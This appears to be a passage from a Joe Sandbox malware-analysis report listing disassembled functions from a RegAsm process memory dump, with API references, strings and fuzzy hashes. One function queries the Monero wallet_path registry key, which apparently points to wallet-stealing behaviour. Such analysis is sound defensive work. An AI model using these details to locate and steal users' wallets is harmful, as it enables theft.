Opcode Fuzzy Hash: 382fb22a15595f61ae169e6bd40fe7be63330111959c8a6c848d8e833624ca72
Instruction Fuzzy Hash: B41148B1804229ABDF10AF55CC489DE3F79EB64760F104549FA24921A0D731D654CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00418079 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0041809F

Part of subcall function 00417ECB: __fltout2.LIBCMT ref: 00417EF6

__cftog_l.LIBCMT ref: 004180C5
__cftoe_l.LIBCMT ref: 004180F7

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 42ebf01d859ded868fec211d77c9db086a1b69b70d0f693d6ae813612e605a66
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: 5C114E7600414EFBCF225E85CC418EE3F72BB1C354B59845AFA2859131DB3AC9B6AB85

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA8B Relevance: 6.0, APIs: 4, Instructions: 45stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040EA90
lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
lstrcpy.KERNEL32(00000000), ref: 0040EADF
lstrcat.KERNEL32(?,?), ref: 0040EAEA

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcatlstrcpylstrlen
String ID:
API String ID: 809291720-0
Opcode ID: e68b64505f589a4200435087e4e25978a8960ef6760191fbf086a80c38054505
Instruction ID: 8defee5c3ee0f53a310ee246c3af5318aeafe1f7e3d011a29654af68e96018c8
Opcode Fuzzy Hash: e68b64505f589a4200435087e4e25978a8960ef6760191fbf086a80c38054505
Instruction Fuzzy Hash: C2015AB6900215EFDB209F9AD88459AFBB5FF48314B10883EF59AE3211C7B49990CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 6.0, APIs: 4, Instructions: 35memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 00401014
HeapAlloc.KERNEL32(00000000,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 0040101B
RegOpenKeyExA.ADVAPI32(000000FF,00000000,00000000,00020119,?,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 00401034
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,000000FF,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 0040104D

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: a27f42a190018756939c2a186fac89ee64236d1eb1bb3ceecf19bf94991bf119
Instruction ID: 832c21bd40a73018163515ce5beef45c93da2aa0da3d8997035a91abaf75a422
Opcode Fuzzy Hash: a27f42a190018756939c2a186fac89ee64236d1eb1bb3ceecf19bf94991bf119
Instruction Fuzzy Hash: E2F03A79240208FFEB119F91DC0AFAE7B7AEB45B40F104025FB01AA1A0D7B19A109B24

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC27 Relevance: 6.0, APIs: 4, Instructions: 33memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,?,Version: ,0042548E), ref: 0040EC35
HeapAlloc.KERNEL32(00000000,?,00000000,?,Version: ,0042548E), ref: 0040EC3C
GetLocalTime.KERNEL32(00000000,?,00000000,?,Version: ,0042548E), ref: 0040EC48
wsprintfA.USER32 ref: 0040EC73

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: d4aeb748054ef85310db5bbdc432010fa75f15f3d3fe455483fb2aece36d3219
Instruction ID: 6a3b0a9d5a99a23c7b872276523f8019a9300f8a2912452fb95d56cdfabf1196
Opcode Fuzzy Hash: d4aeb748054ef85310db5bbdc432010fa75f15f3d3fe455483fb2aece36d3219
Instruction Fuzzy Hash: F7F0FEAA900124BBDB50ABD99D09ABF76FDEF0DB02F001452FB41E1091E6788950D7B4

Uniqueness

Uniqueness Score: -1.00%

Function 1B492ABD Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 1B691382
GetLastError.KERNEL32 ref: 1B69138E
___initconout.LIBCMT ref: 1B69139E

Part of subcall function 1B691303: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,1B6913A3), ref: 1B691316

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 1B6913B3

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID: ConsoleWrite$CreateErrorFileLast___initconout
String ID:
API String ID: 3431868840-0
Opcode ID: 8920e00c598d0a223442d0021cde6f1386a6e4c1f82e25f5df3321dddffe2b41
Instruction ID: a696fd9af5c59bdb605b38fb495aaeab4bd5162fc41b4b13224ea3c6008866ac
Opcode Fuzzy Hash: 8920e00c598d0a223442d0021cde6f1386a6e4c1f82e25f5df3321dddffe2b41
Instruction Fuzzy Hash: 60F08C36544569FFCF121FA6DC499DE3F7AFBA82A0F144028FE5885120CA32C8649B84

Uniqueness

Uniqueness Score: -1.00%

Function 1B4ABE80 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 314COMMON

Download Yara Rule

Strings

string or blob too big, xrefs: 1B4AC1B5

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: string or blob too big
API String ID: 0-2803948771
Opcode ID: 3c7403777f3c15702796874d3bd02766c50516db33b59d12b0cfc9a730229abb
Instruction ID: 7f46c9b4d79cd3b0ad3fd118681c5c9570a0f633bfb83f2c05ab899edc632bce
Opcode Fuzzy Hash: 3c7403777f3c15702796874d3bd02766c50516db33b59d12b0cfc9a730229abb
Instruction Fuzzy Hash: 3CA12875A087868FD7048E788C407E6BBD1AFA9224F198B1DF4E3973D2E760D485CB85

Uniqueness

Uniqueness Score: -1.00%

Function 1B617300 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 242COMMON

Download Yara Rule

Strings

%!.15g, xrefs: 1B6175C3
-, xrefs: 1B617538

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %!.15g$-
API String ID: 0-583212262
Opcode ID: 07a97ff848006e3dab731f84862afccc668262358852586e1223e179cb07614c
Instruction ID: d56c6178534d7344d310f4719e8751e82afc014e203b54bf270e72b39646816c
Opcode Fuzzy Hash: 07a97ff848006e3dab731f84862afccc668262358852586e1223e179cb07614c
Instruction Fuzzy Hash: ED918DB1A083458FD704DF6DD89179AFBE0EBC8304F04492DE899CB351E7B9D8098B92

Uniqueness

Uniqueness Score: -1.00%

Function 1B4DCBF0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

string or blob too big, xrefs: 1B4DCE39

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: string or blob too big
API String ID: 0-2803948771
Opcode ID: dc4f09d26705e071738a0829ca8d4ea090714c049dac605c26c6345461a354d0
Instruction ID: 7506c984e18aec44e0128c00119d35c13f88dfca1b01f69e426a11c02c983b46
Opcode Fuzzy Hash: dc4f09d26705e071738a0829ca8d4ea090714c049dac605c26c6345461a354d0
Instruction Fuzzy Hash: 8D8112B5A043019BDB00CF18CC61BD6B7E5AFA8710F44891CFA8597393E375E9468B9A

Uniqueness

Uniqueness Score: -1.00%

Function 1B5B78F0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 214COMMON

Download Yara Rule

Strings

*, xrefs: 1B5B7982
?, xrefs: 1B5B794A

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: *$?
API String ID: 0-2367018687
Opcode ID: 217e6c6a8ce3cf581d3df2e73733243f4d6cd2dc3efc3b6358d30090155183d5
Instruction ID: 26ced7a6d5711804d1fb188a0c58e039648b0b74276a8f84b66c53b220db15b2
Opcode Fuzzy Hash: 217e6c6a8ce3cf581d3df2e73733243f4d6cd2dc3efc3b6358d30090155183d5
Instruction Fuzzy Hash: 48710670A083518FE7158F28C98079BBBE7FFC5210F48496DE8C587305D775EA458B92

Uniqueness

Uniqueness Score: -1.00%

Function 1B4AC8E0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 206COMMON

Download Yara Rule

Strings

LIKE or GLOB pattern too complex, xrefs: 1B4AC94F
ESCAPE expression must be a single character, xrefs: 1B4ACA43

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 0-264706735
Opcode ID: 0ca3b50f36aa830983f0d445e2947e43f9578784bc5d2d9aaba423c6b9362aaf
Instruction ID: 5a678a69543715204cd79cced4e7c5c5d555fd17e5cd73af4c47512995e0f7dd
Opcode Fuzzy Hash: 0ca3b50f36aa830983f0d445e2947e43f9578784bc5d2d9aaba423c6b9362aaf
Instruction Fuzzy Hash: 86618875A082918FDB44CA34CC81BF677A5AB61324F24C28DE8A39F3D3D679C482C794

Uniqueness

Uniqueness Score: -1.00%

Function 1B4AD0F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

string or blob too big, xrefs: 1B4AD213

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: string or blob too big
API String ID: 0-2803948771
Opcode ID: 7e542520b1fe1f710210b44b01f44cd06941c15569d95131cd032e17837624e3
Instruction ID: 6a8bb90d29d873de9851126be5a4b1471933c9e8b375d99dbe1c69b126a71f3d
Opcode Fuzzy Hash: 7e542520b1fe1f710210b44b01f44cd06941c15569d95131cd032e17837624e3
Instruction Fuzzy Hash: 44412D778042414FEB104A34AC417EA7F96DF75220F14892CE8D6573D2E62AE549D753

Uniqueness

Uniqueness Score: -1.00%

Function 1B4A55D0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 1B4A56D1
winDelete, xrefs: 1B4A569C

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: delayed %dms for lock/sharing conflict at line %d$winDelete
API String ID: 0-1405699761
Opcode ID: 97f5736ec94168799b2ab4cc8b0d5d71ac6f1417cd66a8c8c4c8e6de5d9ea3df
Instruction ID: a4fc97034fe52bdf3e9e7bb5a5dce2eaa3157e6ee49cdf8e648a3519a9a6fa64
Opcode Fuzzy Hash: 97f5736ec94168799b2ab4cc8b0d5d71ac6f1417cd66a8c8c4c8e6de5d9ea3df
Instruction Fuzzy Hash: A8312B72E112218BE7142A7CDEC99DA771CA7B4672F01453AEDCBC6381D720C44CC6E1

Uniqueness

Uniqueness Score: -1.00%

Function 1B4AD300 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

string or blob too big, xrefs: 1B4AD3D5

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: string or blob too big
API String ID: 0-2803948771
Opcode ID: be05554320034c9a8a393f90d2e4362f416993cc85044aab924b7d802c2cbfb8
Instruction ID: 2cd1207f9a2c06cd159e9b6130c26f485c5b0ac34a327707fd984e9eaa7b60f0
Opcode Fuzzy Hash: be05554320034c9a8a393f90d2e4362f416993cc85044aab924b7d802c2cbfb8
Instruction Fuzzy Hash: 803192B2D042655BDF105A346C01BE677259BA5324F1882D8FCD76F3C6D227E817D3A0

Uniqueness

Uniqueness Score: -1.00%

Function 1B58DEE0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87COMMON

Download Yara Rule

Strings

sqlite_stat1, xrefs: 1B58DF30
SELECT tbl,idx,stat FROM %Q.sqlite_stat1, xrefs: 1B58DF4F

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: SELECT tbl,idx,stat FROM %Q.sqlite_stat1$sqlite_stat1
API String ID: 0-3572622772
Opcode ID: 05c37bde3513ae663a1df748f5f7d74bb41ac7f911f7d22bfcd7e944909fbb3c
Instruction ID: 7b1f7cf8172fd61e429e992cfa6cd43d73af04124487e502bec29d450ccf1011
Opcode Fuzzy Hash: 05c37bde3513ae663a1df748f5f7d74bb41ac7f911f7d22bfcd7e944909fbb3c
Instruction Fuzzy Hash: EB21D675A013855FEB10DF26DC81EABB7E8AF81A24B05456CFC849B291E321FC45D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 1B627E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

OsError 0x%lx (%lu), xrefs: 1B627ED9

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

